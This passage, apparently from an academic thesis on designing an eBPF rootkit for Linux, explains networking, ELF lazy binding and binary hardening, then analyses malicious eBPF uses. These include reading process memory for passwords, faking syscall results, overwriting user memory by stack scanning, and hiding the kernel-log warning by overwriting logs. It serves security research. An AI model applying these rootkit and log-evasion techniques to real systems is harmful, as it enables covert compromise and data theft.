attacker wants to be stealthy and avoid crashing the program (since we overwrote
the original data in the stack), the original stack must be restored, together with the
value of the registers before the malicious code execution. We will see an example
of a technique for reconstructing the original state during our explanation of the
library injection in Section 4.2.3.

2.8. Networking fundamentals in Linux

This section presents an overview on the most relevant aspects of the network system in
Linux, which will be needed to tackle multiple of the techniques discussed during the
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design of the network capabilities of our rootkit. In particular, we will be focusing on the
Ethernet, IP and TCP protocols.

2.8.1. An overview on the network layer

Firstly, we will describe the data structure we will be dealing with in networking pro-
grams. This will be Ethernet frames containing TCP/IP packets. Figure 2.22 shows the
frame in its completeness:

Fig. 2.22. Ethernet frame with TCP/IP packet.

As we can observe, we can distinguish five different network layers in the frame. This
division is made according to the OSI model [74]:

• Layer 1 corresponds to the physical layer, and it is processed by the NIC hardware,
even before it reaches the XDP module (see Figure 2.8). Therefore, this layer is
discarded and completely invisible to the kernel. Note that it does not only include
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a header, but also a trailer (a Frame Check Sequence, a redundancy check included
to check frame integrity).

• Layer 2 is the data layer, it is in charge of transporting the frame via physical media,
in our case an Ethernet connection. Most relevant fields are the MAC destination
and source, used for physical addressing.

• Layer 3 is the network layer, in charge of packet forwarding and routing. In our
case, packets will be using the IP protocol. Most relevant fields are the source and
destination IP, used to indicate the host that sent the packet and who is the receiver.

• Layer 4 is the transport layer, in charge of providing end-to-end connection services
to applications in a host. We will be focusing on TCP during our research. Relevant
fields include the source and destination port, which indicate the ports involved in
the communication on which the applications on each host are listening and sending
packets.

• The last layer is the payload of the TCP packet, which contains, according to the
OSI model, all layers belong to application data.

2.8.2. Introduction to the TCP protocol

We will now focus our view on the transport layer, specifically on the TCP protocol, since
it will be a major concern at the time of designing the network capabilities of our rootkit.

Firstly, since TCP aims to offer a reliable and ordered packet transmission [75], it
includes sequence numbers (see Table 2.22) which mark the order in which they are
transmitted. However, since the physical medium may corrupt or lose packets during
the transmission, TCP must incorporate mechanisms for ensuring the order and delivery
of all packets:

• Mechanism for opening and establishing a reliable connection between two parties.

• Mechanism for ensuring that packets are retransmitted in case of an error during
the connection.

With respect to the establishment of a reliable connection, this is achieved via a 3-way
handshake, in which certain TCP flags will be set in a series of interchanged packets (see
in Figure 2.22 the field TCP flags). Most relevant TCP flags are described in Table 2.19.

Taking the above into account, Figure 2.23 shows a depiction of the 3-way handshake
[76]:

As we can observe in the figure, the hosts interchange a sequence of SYN, SYN+ACK,
ACK packets, after which the communication starts. During this communication, the
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FLAG PURPOSE
ACK Acknowledges that a packet has been successfully

received. In the acknowledgment number (see figure 2.22),
it is stored the sequence number of the packet being

acknowledged + 1.
SYN Used during the 3-way handshake, indicates request for

establishing a connection.
FIN Used to request a connection termination.
RST Abruptly terminates the connection, usually sent when a

host receives an unexpected or unrecognized packet.

Table 2.19. Relevant TCP flags and their purpose.

Fig. 2.23. TCP 3-way handshake.
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sender transmits packets with data (and no flags set), to which it expects an ACK packet
acknowledging having received it.

With respect to maintaining the integrity of the connection once it starts, TCP works
using timers, as it is illustrated in Figure 2.24:

1. A data packet with sequence number X is sent. The timer starts.

2. The destination host receives the packet and returns an ACK packet with acknowl-
edgment number X+1.

3. The sender receives the ACK packet and stops the timer. If, for any reason, the ACK
packet is not received before the timer ends, then the same packet is retransmitted.

Fig. 2.24. TCP packet retransmission on timeout.

2.9. ELF binaries

This section details the Executable and Linkable Format (ELF) [77], the format in which
we find executable files (between other file types) in Linux systems. We will perform an
analysis from a security standpoint, that is, mainly oriented to describe the most relevant
sections and the permissions incorporated into them. We will also focus on several of
these sections which will be relevant for designing our attack.
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After that, we will overview the security hardening techniques that have been histor-
ically incorporated into Linux to mitigate possible exploitation techniques when running
ELF executables (such as the stack buffer overflow we explained in Section 2.7.1). Dur-
ing the design of our rootkit, we will attempt to bypass these techniques using multiple
workarounds.

2.9.1. The ELF format and Lazy Binding

Linux supports multiple tools that enable a deep inspection of ELF binaries and its sec-
tions. Table 2.20 shows the main tools we will use during this analysis:

TOOL PURPOSE
Readelf Display information about ELF files

Objdump Display information about object files, mainly used for
decompiling programs

GDB The GNU Project Debugger, allows for debugging
programs during runtime

GDB-peda The Python Exploit Development Assistance for GDB,
allows for multiple advanced operations that ease exploit
development, such as showing register values, the stack
state or memory information. It works as a plugin for

GDB.

Table 2.20. Tools used for analysis of ELF programs.

Firstly, we will analyse the main sections we can find in an ELF executable. We will
approach this study using a sample program that has been compiled using Clang/LLVM,
and that consists on a simple timer that counts twice up to number 3, available at our
repository [78].

The commands used for this analysis and complete list of headers can be found in
Appendix B - Section headers in ELF file. The most relevant sections we found at the
program are described in Table 2.21:

As it can be observed in Table 2.21, we can find that all sections have the Alloc flag,
meaning they will be loaded into process memory during runtime.

Apart from those we have already discussed previously, we can find the GOT and
PLT sections, whose purpose is to support Position Independent Code (PIC), that is, in-
structions whose address in virtual memory is not hardcoded by the compiler into the
executable, but rather they are not known until resolved at runtime. This is usually the
case of shared libraries, which can be loaded into virtual memory starting at any address
[79].

Therefore, in order to call a function of a shared library, the dynamic linker follows a
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TOOL PURPOSE PERMS
.init Contains instructions executed before the main

function of the program
Alloc,

Executable
.plt Procedure Linkage Table (PLT), contains code stubs

that use the addresses at .got.plt for jumping to
position-independent code

Alloc,
Executable

.got Global Offset Table (GOT), it contains addresses of
global variables and functions once the linker

resolves them at runtime

Alloc,
Writable

.got.plt A subset of .got section separated from .got with
some compilers, it contains only the target addresses
of position-independent code once the linker loads

them at runtime, used by .plt section.

Alloc,
Writable

.plt.got Generated depending on compiler options, it is a PLT
section which does not use lazy binding.

Alloc,
Executable

.text Stores executable instructions. Alloc,
Executable

.data Contains initialized static and global variables. Alloc,
Writable

.bss Contains global and static variables which are
uninitialized or initialized to zero.

Alloc,
Writable

Table 2.21. Sections in an ELF file.
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process called ’Lazy binding’ [80]:

1. From the .text section, instead of calling a direct absolute address as usual, a PLT
stub (in the .plt section) is called. Snippet 2.3 shows a call to the function timerfd_
settime, implemented by the shared library glibc and thus using a PLT.

CODE 2.3. Call to PLT stub seen from objdump.

1 $ objdump -d simple_timer

2 4014cb: b9 00 00 00 00 mov $0x0,%ecx

3 4014d0: be 01 00 00 00 mov $0x1,%esi

4 4014d5: 89 c7 mov %eax,%edi

5 4014d7: e8 44 fc ff ff call 401120 <timerfd_settime@plt

>

2. In the PLT stub, the flow of execution jumps to an address which is stored in the
GOT section, which is the absolute address of the function at glibc. This address
must be written there by the dynamic linker but, according to lazy binding, the first
time to call this function the linker has not calculated that address yet.

Fig. 2.25. PLT stub for timerfd_settime, seen from gdb-peda.

Fig. 2.26. Inspecting address stored in GOT section before dynamic linking, seen from gdb-peda.

3. As we can see in Figures 2.25 and 2.26, the PLT stub calls address 0x4010a0,
which leads to a dynamic linking routine, which proceeds to write the address into
the GOT section and jump back to the start of the PLT stub. This time, the memory
address at GOT to which the PLT jumps is already loaded with the address to the
function at the shared library, as shown by Figure 2.27.

Fig. 2.27. Inspecting address stored in GOT section after dynamic linking, seen from gdb-peda.

Therefore, in essence, when using lazy binding the dynamic linker will individually
load into GOT the addresses of the functions at the shared libraries, during the first time
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Fig. 2.28. Glibc function to which PLT jumps using address stored at GOT, seen from gdb-peda.

they are called in the program. After that, the address will remain in the GOT section and
will be used by the PLT for all subsequent calls.

The reason lazy binding matters to us is because, as we will explain Section 4.2.3,
the GOT section is actually writable from an eBPF program. This is because this section
specifically must be writeable at runtime for the dynamic linker to store the address once
they are resolved. Therefore, we would be able to modify the GOT section from eBPF,
redirecting the address at which the PLT jumps, and thus controlling the flow of execution
in the program.

2.9.2. Hardening ELF binaries

During Section 2.7, we presented multiple of the classic attacks at the stack such as buffer
overflow and ROP. However, as we mentioned, during the years multiple hardening mea-
sures have been introduced into modern compilers, which attempt to mitigate these and
other techniques. We will now present them so that, during the design of our rootkit, we
can attempt to bypass all of these.

Table 2.22 shows the compilers that we will be considering during this study. We will
be exclusively looking at those security features that are included by default.

COMPILER SECURITY FEATURES BY DEFAULT
Clang/LLVM 12.0.0 (2021) Stack canaries, DEP/NX, ASLR

GCC 10.3.0 (2021) Stack canaries, DEP/NX, ASLR, PIE, Full RELRO

Table 2.22. Security features in C compilers used in the study.

Stack canaries
Stack canaries are random data that is pushed into the stack before calling potentially
vulnerable functions (such as strcpy()) that attempts to prevent attacks at the stack by
ensuring that their value is the same before and after the execution of the called function.
It is particularly useful at detecting buffer overflow attacks.

If a stack canary is present and a buffer overflow happened, it would potentially over-
write the value of the canary, therefore alerting of the attack, in which case the processor
halts the execution of the program.

DEP/NX
Data Execution Prevention, also known as No Execute, is the option of marking the stack
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as non-executable. This prevents, as we explained in Section 2.7.1, the possibility of
executing injected shellcode in the stack after modifying the value of the saved rip.

The creation of advanced techniques like ROP is one reaction to this mitigation, that
circumvents this protection.

ASLR
Address Space Layout Randomization is a technique that randomizes the position of
memory sections in a process virtual memory, including the heap, stack and libraries,
so that an attacker cannot rely on known addresses during exploitation (e.g.: libraries
are loaded at a different memory address each time the program is run, so ROP gadgets
change their position) [81].

In the context of a stack buffer overflow attack, the memory position of the stack
is random, and therefore even if shellcode is injected into the stack by an attacker, the
address at which it resides cannot be written into the saved value of rip in order to hijack
the flow of execution.

PIE
Position Independent Executable is a mitigation introduced to reduce the ability of an
attacker to locate symbols in virtual memory by randomizing the base address at which
the program itself (including the .text section) is loaded. This base address determines
an offset which is added to all memory addresses in the code, so that each instruction is
located at an address + this offset. Therefore, all jumps are made using relative addresses
[81].

RELRO
Relocation Read-Only is a hardening technique that mitigates the possibility of an attacker
overwriting the GOT section, as we explained at Section 2.9.1. In order to achieve the lazy
binding process is substituted by the linker resolving all entries in the GOT section right
after the beginning of the execution, and then marking the .got section as read-only.

Two settings for RELRO are the most widespread, either Partial RELRO (which only
marks sections of the .got section not related to the PLT as read-only, leaving .got.plt
writeable) or Full RELRO (which marks the .got section as read-only completely). Bina-
ries with only Partial RELRO are still non-secure, as the address at which the PLT section
jumps can still be overwriten (including from eBPF, as we will explain) [82].

Intel CET
Intel Control-flow Enforcement Technology is a hardening feature fully incorporated in
Windows 10 systems [83] and a work in progress in Linux [84]. Its purpose is to defeat
ROP attacks and other derivates (e.g: Jump-oriented programming, JOP), by adding a
strict kernel-supported control of the return addresses and strong restrictions over jump
and call instructions.

In Linux, the kernel will support a hidden ’shadow stack’ that will save the return
addresses for each call. This prevents modifying the saved value of rip in the stack, since
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the kernel would realise that the flow of execution has been modified. We can also find that
modern compilers (such as GCC 10.3.0) already generate Intel CET-related instructions
such as endbr64, whose purpose is to be placed at the start of functions, marking that as
the only address to which an indirect jump can land (otherwise, jumps will be rejected if
not landing at endbr64).

As mentioned, we will not consider this feature since it is not active in the Linux
kernel.

2.10. The proc filesystem

The proc filesystem is a virtual filesystem which provides an interface to kernel data
structures [85]. It can be found mounted automatically at /proc.

This filesystem offers a great range of capabilities to interact with the kernel internal
structures, however, in this section, we will focus on the most relevant files and directories
for our research.

Specifically, we will be studying the files under the /proc/<pid>/ directory, whose
purpose is to expose information about the process with the corresponding process ID.

Note that the access control for the /proc/<pid>/ is governed by the value set at
/proc/sys/kernel/yama/ptrace_scope. Table 2.23 show its possible values.

VALUE DESCRIPTION
0 Unprivileged processes may access any file or subdirectory
1 Only privileged processes or those belonging to that PID may

access the any file. Unprivileged process can still list the
directories at /proc, finding the complete list of running

processes.
2 Only privileged processes or those belonging to that PID may

access the any file. Unlike with setting ’1’, unprivileged users
cannot list the directores at /proc anymore.

Table 2.23. Values for /proc/sys/kernel/yama/ptrace_scope.

In Ubuntu 21.04, the value of this setting is of ’1’, therefore the access is limited
to users with root privileges or to unprivileged users accessing only their own or their
children process information.

2.10.1. /proc/<pid>/maps

This file provides, for the process with process ID <pid>, its mapped memory regions
and their access permissions, that is, those virtual memory pages actively connected to a
physical memory page (as shown in Figure 2.10).
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Figure 2.29 shows the maps file of a simple program. As we can observe, by reading
this file we can get information such as:

• The virtual addresses that limit each memory section.

• The permissions over each memory section.

• In the case of memory from a file, the offset from which the data was loaded.

• A pathname, in the case that memory section was loaded from a file.

The ability to easily find memory sections on the virtual address space of a process
with a specific set of permissions is particularly relevant for this research. Also,
apart from disclosing the address of the stack (and sometimes the heap too), we can
infer the address of other memory sections such as the .text section, which must be
the only one marked as executable (in Figure 2.29, the second entry that appears).

Fig. 2.29. File /proc/<pid>/maps of a sample program.

2.10.2. /proc/<pid>/mem

This file enables a process to access the virtual memory of the process with process id
<pid>. According to the documentation, "this file can be used to access the pages of a
process’s memory through open(2), read(2), and lseek(2)" [85], meaning that we can read
any memory address from the virtual memory space of the process.

However, we found the documentation not to be complete. In our experience, not
only we can read virtual memory, but also freely write into it. There existed some discus-
sions in the Linux community, and it was considered safe enough to be set as writeable
by privileged programs [86], although the changes were never reflected in the official
documentation.

Apart from being able to write into virtual memory, this write accesses are performed
without regard of the permission flags set on each memory section. Therefore, we can
modify non-writeable virtual memory by writing into the /proc/<pid>/mem file.
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In the previous chapter, we detailed which functionalities eBPF offers and studied its
underlying architecture. As with every technology, a prior deep understanding is funda-
mental for discussing its security implications.

Therefore, given the previous background, this chapter is dedicated to an analysis in
detail of the security implications of a malicious use of eBPF. For this, we will firstly
explore the security features incorporated in the eBPF system. Then, we will identify the
fundamental pillars onto which malware can build their functionality. As we mentioned
during the project goals, these main topics of research will be the following:

• Analyze eBPF’s possibilities to hook system calls and kernel functions.

• Explore eBPF’s potential to read/write arbitrary memory.

• Research networking capabilities with eBPF packet filters.

3.1. eBPF maps security

In Section 2.5.1, we explained that only programs with CAP_SYS_ADMIN are allowed
to iterate over eBPF maps. The reason why this is restricted to privileged programs is
because it is functionality that is a potential security vulnerability, which we will now
proceed to analyse.

Also, in Section 2.2.4, we mentioned that eBPF maps are opened by specifying an ID
(which works similarly to the typical file descriptors), while in Table 2.6 we showed that,
for performing operations over eBPF maps using the bpf() syscall, the map ID must be
specified too.

Map IDs are known by a program after creating the eBPF map, however, a program
can also explore all the available maps in the system by using the BPF_MAP_GET_
NEXT_ID operation in the bpf() syscall, which allows for iterating through a complete
hidden list of all the maps created. This means that privileged programs can find and have
read and write access to any eBPF map used by any program in the system.

Therefore, a malicious privileged eBPF program can access and modify other pro-
grams’ maps, which can lead to:

• Modify data used for the program operation. This is the case for maps which mainly
store data structures, such as BPF_MAP_TYPE_HASH.

• Modify the program control flow, altering the instructions executed by an eBPF
program. This can be achieved if a program is using the bpf_tail_call() helper
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(introduced in Table 2.9) which is taking data from a map storing eBPF programs
(BPF_MAP_TYPE_PROG_ARRAY, introduced in Table 2.6).

3.2. Abusing tracing programs

eBPF tracing programs (kprobes, uprobes and tracepoints) are hooked to specific points
in the kernel or in the user space, and call probe functions once the flow of execution
reaches the instruction to which they are attached. This section details the main security
concerns regarding this type of programs.

3.2.1. Access to function arguments

As we saw in Section 2.3, tracing programs receive as a parameter those arguments with
which the hooked function originally was called. These parameters are read-only and
thus, in principle, they cannot be modified inside the tracing program (we will show this
is not entirely true in Section 3.3). The next code snippets show the format in which
parameters are received when using libbpf (Note that libbpf also includes some macros
that offer an alternative format, but the parameters are the same).

CODE 3.1. Probe function for a kprobe on the kernel function vfs_write.

1 SEC("kprobe/vfs_write")

2 int kprobe_vfs_write(struct pt_regs* ctx){

CODE 3.2. Probe function for an uprobe, execute_command is defined from user space.

1 SEC("uprobe/execute_command")

2 int uprobe_execute_command(struct pt_regs *ctx){

CODE 3.3. Probe function for a tracepoint on the start of the syscall sys_read.

1 SEC("tp/syscalls/sys_enter_read")

2 int tp_sys_enter_read(struct sys_read_enter_ctx *ctx) {

In Code snippets 3.1 and 3.2 we can identify that the parameters are passed to kprobe
and uprobe programs as a pointer to a struct pt_regs*. This struct contains as many
attributes as registers exist in the system architecture, in our case x86_64. Therefore,
on each probe function, we will receive the state of the registers at the original hooked
function. This explains the format of the struct pt_regs, shown in Code snippet 3.4:

CODE 3.4. Format of struct pt_regs.

1 struct pt_regs {

2 long unsigned int r15;
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3 long unsigned int r14;

4 long unsigned int r13;

5 long unsigned int r12;

6 long unsigned int bp;

7 long unsigned int bx;

8 long unsigned int r11;

9 long unsigned int r10;

10 long unsigned int r9;

11 long unsigned int r8;

12 long unsigned int ax;

13 long unsigned int cx;

14 long unsigned int dx;

15 long unsigned int si;

16 long unsigned int di;

17 long unsigned int orig_ax;

18 long unsigned int ip;

19 long unsigned int cs;

20 long unsigned int flags;

21 long unsigned int sp;

22 long unsigned int ss;

23 };

By observing the value of the registers, we can extract the parameters of the original
hooked function. This can be done by using the System V AMD64 ABI[87], the calling
convention used in Linux. Depending on whether we are in the kernel or in user space,
the registers used to store the values of the function arguments are different. Table 3.1
summarizes these two interfaces.

USER INTERFACE
REGISTER PURPOSE

rdi 1st argument
rsi 2nd argument
rdx 3rd argument
rcx 4th argument
r8 5th argument
r9 6th argument
rax Return value

KERNEL INTERFACE
REGISTER PURPOSE

rdi 1st argument
rsi 2nd argument
rdx 3rd argument
r10 4th argument
r8 5th argument
r9 6th argument
rax Return value

Table 3.1. Argument passing convention of registers for function calls in
user and kernel space respectively.

In the case of tracepoints, we can see in Code snippet 3.3 that it receives a struct sys_
read_enter_ctx*. This struct must be manually defined, as explained in Section 2.3.3, by
looking at the file /sys/kernel/debug/tracing/events/syscalls/sys_enter_read/format. Code
snippet 3.6 shows the format of the struct.
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CODE 3.5. Format for parameters in sys_enter_read specified at the format file.

1 field:unsigned short common_type; offset:0; size:2; signed:0;

2 field:unsigned char common_flags; offset:2; size:1; signed:0;

3 field:unsigned char common_preempt_count; offset:3; size:1; signed

:0;

4 field:int common_pid; offset:4; size:4; signed:1;

5 field:int __syscall_nr; offset:8; size:4; signed:1;

6 field:unsigned int fd; offset:16; size:8; signed:0;

7 field:char * buf; offset:24; size:8; signed:0;

8 field:size_t count; offset:32; size:8; signed:0;

CODE 3.6. Format of custom struct sys_read_enter_ctx.

1 struct sys_read_enter_ctx {

2 unsigned long long pt_regs;

3 int __syscall_nr;

4 unsigned int padding;

5 unsigned long fd;

6 char* buf;

7 size_t count;

8 };

As we can observe, we are given a set of attributes which include the parameters
with which the syscall was called. Moreover, we can still obtain an address pointing to
another struct pt_regs, as in kprobes and uprobes, by combining the first four fields and
considering it as a 32-bit long address. This means we will still be able to extract the
value of the rest of the registers too.

It must be noted that, in syscalls, in addition to use the kernel parameter passing
convention specified in Table 3.1, the number specifying the syscall must be passed in
register rax too.

On a final note, as we mentioned in Section 2.3, there exist differences in the param-
eters received in probe functions depending on the two variations of tracing programs.
Therefore:

• kprobe, uprobe and enter tracepoints will receive the full parameters as we specified
before, but not the return value of the function (since it is not executed yet).

• kretprobes, uretprobes and exit tracepoints will still receive the struct pt_regs, but
without any of the parameters and with only the return value of the function.

Taking into account all the previous, the fact that tracing programs have read-only
access to function arguments can be considered a useful and needed feature for tracing
applications, but malicious eBPF can use this for purposes such as:

• Gather kernel and user data passed to a function as a parameter. In many cases this
information can be potentially interesting for an attacker, such as passwords.
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• Store in eBPF maps information about system activities, to be used by other mali-
cious eBPF programs.

Usually, since many function arguments are pointers to user or kernel addresses (such
as buffers where a string or a struct with data is located), eBPF tracing programs can use
two eBPF helpers that enable to read large byte arrays from both kernel and user space:

• bpf_probe_read_user()

• bpf_probe_read_kernel()

These helpers, previously introduced in Table 2.9, enable to read an arbitrary number
of bytes from an user or kernel address respectively, allowing us to extract the information
pointed by the parameters received by eBPF programs.

3.2.2. Reading memory out of bounds

As we introduced in the previous section, the bpf_probe_read_user() and bpf_probe_
read_kernel() helpers can be used to access memory of pointers received as parameters in
the hooked functions.

However, although in general the eBPF verifier attempts to reject illegal memory ac-
cesses, it does not prevent a malicious program from passing an arbitrary memory address
(in kernel or user space) to the above helpers. This means that an eBPF program can po-
tentially read any address in user or kernel space, (as long as it is marked as readable
in the corresponding memory pages). Furthermore, an attacker can locate specific data
structures and memory sections by taking the function parameter as a reference point in
memory.

A particularly relevant case (which we will later use for our rootkit) involves accessing
user memory via the parameters of tracepoints attached at system calls. Provided the
nature of syscalls, whose purpose is to communicate user and kernel space, all parameters
received will belong to the user space, and therefore any pointer passed will be an address
in user memory. This enables an eBPF program to get a foothold into the virtual address
space of the process calling the syscall, which it can proceed to scan looking for data or
specific instructions. This technique will be further elaborated in Section 3.3.1.

3.2.3. Overriding function return values

A potentially dangerous functionality in eBPF tracing programs is the ability to modify
the return value of kernel functions[88][89]. This can be done via the eBPF helper bpf_
override_return, and it works exclusively from kretprobes.

Apart from only working on kretprobes, additional restrictions are applied to this
helper. It will only work if the kernel was compiled with the CONFIG_BPF_KPROBE_
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OVERRIDE flag, and only if the kretprobe is attached to a function to which, during
the kernel development, the macro ALLOW_ERROR_INJECTION() has been indicated.
Currently, only a small selection of functions includes this macro, but most system calls
can be found to implement it. Code snippets 3.7 and 3.8 show how a system call like sys_
open is defined in kernel v5.11:

CODE 3.7. Definition of the syscall sys_open in the kernel [90]

1 SYSCALL_DEFINE3(open, const char __user *, filename, int, flags,

umode_t, mode)

2 {

3 if (force_o_largefile())

4 flags |= O_LARGEFILE;

5 return do_sys_open(AT_FDCWD , filename , flags, mode);

6 }

CODE 3.8. Definition of the macro for creating syscalls, containing the error injection macro.
Only relevant instructions included, complete macro can be found in the kernel [91]

1 #define SYSCALL_DEFINE3(name, ...) SYSCALL_DEFINEx(3, _##name,

__VA_ARGS__)

2 #ifndef __SYSCALL_DEFINEx

3 #define __SYSCALL_DEFINEx(x, name, ...)\

4 [...]

5 ALLOW_ERROR_INJECTION(sys##name, ERRNO);\

6 [...]

By looking at Code snippets 3.7 and 3.8, we can observe that the system call sys_
open involves the inclusion of the ALLOW_ERROR_INJECTION macro. Therefore,
any kretprobe attached to a system call function will be able to modify its return value.

In order to be able to modify the return value of functions, the aforementioned eBPF
helper makes use of the fault injection framework of the Linux kernel[92], which was
created before eBPF itself, and whose original purpose is to allow for generating errors in
kernel programs for debugging purposes.

Taking the previous information into account, we can find that a malicious eBPF pro-
gram, by tampering with the kernel-user space interface which are system calls, can mis-
lead user programs, which trust the output of kernel code. This can lead to:

• A program believes a system call exited with an error, while in reality the kernel
completed the operation with success, or vice versa. For instance, the result of a
call to sys_open can mislead a user program into thinking that a file does not exist.

• A program receives incorrect data on purpose. For instance, a buffer may look
empty or of a reduced size upon a sys_read call, while in reality more data is avail-
able to be read.
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3.2.4. Sending signals to user programs

Another eBPF helper that is subject to malicious purposes is bpf_send_signal. This helper
enables to send an arbitrary signal to the thread of the process running a hooked function.

Therefore, this helper can be used to forcefully terminate running user processes,
by sending the SIGKILL signal. In this way, combined with the observability into the
parameters received at a function call, malicious eBPF can kill and deactivate processes
to favour its malicious purposes.

3.2.5. Takeaways

As a summary, a malicious eBPF program loaded and attached as a tracing program un-
dermines the existing trust between user programs and the kernel space.

Its ability to access sensitive data in function parameters and reading arbitrary memory
can lead to gathering extensive information on the running processes of a system, whilst
the malicious use of eBPF helpers enables the modification of the data passed to the user
space from the kernel, and the control over which programs are allowed to be running on
the system.

3.3. Memory corruption

In the previous section we described how tracing programs can read user memory out of
the bounds of function parameters via the helpers bpf_probe_read_user() and bpf_probe_
read_kernel(). In this section, we will analyse another eBPF helper that can be found to
be the heart of malicious programs.

Privileged eBPF programs (or those with at least CAP_BPF + CAP_PERFMON ca-
pabilities) have the potential to use an experimental (it is labelled as so [47]) helper called
bpf_probe_write_user(). This helper enables to write into user memory from within an
eBPF program.

However, this helper has certain limitations that restrict its use. We will now pro-
ceed to review some background into how user memory works and, afterwards, we will
analyse the restrictions and possible uses of this eBPF helper in the context of malicious
applications.

3.3.1. Attacks and limitations of bpf_probe_write_user()

Provided the background into memory architecture and the stack operation, we will now
study the offensive capabilities of the bpf_probe_write_user() helper and which restric-
tions are imposed into its use by eBPF programs.
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The bpf_probe_write_user() helper, when used from a tracing eBPF program, can
write into any memory address in the user space of the process responsible from calling
the hooked function. However, the write operation fails has some restrictions:

• The operation fails if the memory space pointed by the address is marked as non-
writeable by the user space process. For instance, if we try to write into the .text
section, the helpers fails because this section is only marked as readable and exe-
cutable (for protection reasons). Therefore, the process must indicate a writeable
flag in the memory section for the helper to succeed.

• The operation fails if the memory page is served with a minor or major page fault
[93]. As we saw in Section 2.2.3, eBPF programs are restricted from executing any
sleeping or blocking operations, to prevent hanging the kernel. Therefore, since
during a page fault the operating system needs to block the execution and write into
the page table or retrieve data from the secondary disk, bpf_probe_write_user() is
defined as a non-faulting helper[94], meaning that instead of issuing a page fault
for accessing data, it will just return and fail.

• Each time the helper is called, an alert message is written into the kernel logs, alert-
ing that a potentially dangerous eBPF program is making use of the helper. Note
that this message appears when the eBPF program is attached, and not each time
the helper is called. This is particularly relevant since a malicious eBPF can bypass
this alert by blocking read calls during the attachment stage, later overwriting the
kernel logs once the eBPF programs using this helper have been attached. After
that, since it is already attached, the eBPF program may use the helper without any
warning message [95].

Although we will not be able to modify kernel memory or the instructions of a pro-
gram, this eBPF helper opens a range of possible attacks:

• Modify any of the arguments with which a system call is called (either with a trace-
point or a kprobe). Therefore, a malicious program can hijack any call to the kernel
with its own arguments.

• Modify user-provided arguments in kernel functions. When reading kernel code,
we can find that data provided by the user is marked with the keyword __user.
For instance, an internal kernel function vfs_read used by the system call sys_read
receives the user buffer shown in Code snippet 3.9.

CODE 3.9. Definition of kernel function vfs_read [96].

1 ssize_t vfs_read(struct file *file, char __user *buf, size_t count

, loff_t *pos)

Then, if we attach a kprobe to vfs_read, we would be able to modify the value of
the buffer.
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• Modify process memory by taking function parameters as a reference and scanning
the stack. This technique, first introduced in Section 3.2.2 when we mentioned
that tracing programs can read any user memory location with the bpf_probe_read_
user() helper, and which was publicly first used by JeffDileo at his talk in DEFCON
27 [97], consists of:

1. Take an user-passed parameter received on a tracing program. The parameter
must be a pointer to a memory location (such as a pointer to a buffer), so
that we can use that memory address as the reference point in user space.
According to the x86_64 documentation, this parameter will be stored in the
stack [98], so we will receive a stack address.

2. Locate the target data which we aim to write. There are two main methods for
this:

– Sequentially read the stack, using bpf_probe_read_user(), until we locate
the bytes we are looking for. This requires knowing which data we want
to overwrite.

– By previously reverse engineering the user program, we can calculate the
offset at which an specific data section will be stored in virtual memory
with respect to the reference address we received as a parameter.

3. Overwrite the memory buffer using bpf_probe_write_user().

Figure 3.1 illustrates a high-level overview of the stack scanning technique previously
described.

Fig. 3.1. Overview of stack scanning and writing technique.

The figure shows process memory executing a program similar to the one shown in
Code snippet 3.10:

CODE 3.10. Sample program being executed on figure 3.1.

1 void func(char* a, char* b, char* c){

2 int fd = open("FILE", 0);
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3 write(fd, a, 1);

4 }

5

6 int main(){

7 char a[] = "AAA";

8 char b[] = "BBB";

9 char c[] = "CCC";

10 func(a, b, c);

11 }

In Figure 3.1, we can clearly observe how the technique is used to overwrite a specific
buffer. The attacker goal is to overwrite buffer c with some other bytes, but the kprobe
program only has direct access to buffer a:

1. By reverse engineering the program (e.g.: with gdb-peda) we notice that buffer c is
stored 8 bytes lower on the stack than buffer a.

2. When register rip points to the write() instruction, the processor executes the in-
struction and a system call is issued to sys_write.

3. The kprobe eBPF program hooked to the syscall hijacks the program execution.
Since it has access to the memory address of buffer a and it knows the relative
position of buffer c, it writes to that location whatever it wants (e.g.: "DDD") with
the bpf_probe_write_user() helper.

4. The eBPF program ends and the control flow goes back to the system call. It ends
its execution successfully and returns a value to the user space. The result of the
program is that 1 byte has been written into file "FILE", and that buffer c now
contains "DDD".

3.3.2. Takeaways

As a summary, the bpf_probe_write_user() helper is one of the main attack vectors for
malicious eBPF programs. Although it does contain some restrictions, its ability to over-
write any user parameter enables it to, in practice, execute arbitrary code by hijacking
that of others. When it is combined with tracing programs’ ability to read memory out
of bounds, it unlocks a wide range of attacks, since any writeable section of the process
memory is a possible target.

Therefore, if on the conclusion of Section 3.2.5 we discussed that the ability to change
the return value of kernel functions and kill processes hinders the trust between the user
and kernel space (since what the kernel returns may not be a correct result), then the
ability to directly overwrite process data is a complete disrupt of trust in any of the data
in the user space itself, since it is subject to the control of a malicious eBPF program.
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Moreover, in the next sections we will discuss how we can create advanced attacks
based on the background and techniques previously discussed. We will research further
into which sections of a process memory are writeable and whether they can lead to new
attack vectors.

3.4. Abusing networking programs

The final main piece of a malicious eBPF program comes from taking advantage of the
networking capabilities of TC and XDP programs. As we mentioned during Section 2.3.1
and 2.3.2, these type of programs have access to network traffic:

• Traffic Control programs can be placed either on egress or ingress traffic, and re-
ceive a struct sk_buff, containing the packet bytes and meta data that helps operating
on it.

• Express Data Path programs can only be attached to ingress traffic, but in turn they
receive the packet before any kernel processing (as a struct xdp_md) being able to
access the raw data directly.

Networking eBPF programs not only have read access to the network packets, but also
write access:

• XDP programs can directly modify the raw packet via memcpy() operations. They
can also increment or reduce the size of the packet at any of its ends (adding bytes
before the head or after the packet tail). This is done via the multiple helpers previ-
ously presented on Table 2.11.

• TC programs can also modify the packet via the helpers presented on Table 2.13.
The packet can be expanded or reduced via these eBPF helpers too.

Apart from write access to the packet, the other critical feature of networking pro-
grams is their ability to drop packets. As we presented in Table 2.10 and 2.12, this can be
achieved by returning specific values.

3.4.1. Attacks and limitations of networking programs

Based on the previous background, we will now proceed to explore which limitations
exist on which actions a network eBPF program can perform:

• Read and write access to the packet is heavily controlled by the eBPF verifier. It is
not possible to read or write data out of bounds. Extreme care must also be taken
before attempting to read any data inside the packet, since the verifier first requires
making lots of checks beforehand. For any access to take place, the program must
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first classify the packet according to the network protocol it belongs, and later check
that every header of every layer is well defined (e.g.: Ethernet, IP and TCP). Only
after that, the headers can be modified.

If the program also wants to modify the packet payload, then it must be checked
to be between the bounds of the packet and well defined according to the packet
headers (using fields IHL, packet length and data offset, in Figure 2.22). Also, after
using any of the helpers that enlarge or reduce the size of the packet, all check
operations must be repeated before any subsequent operation.

Finally, note that after any modification in the packet, some network protocols (such
as IP and TCP) require to recalculate their checksum fields.

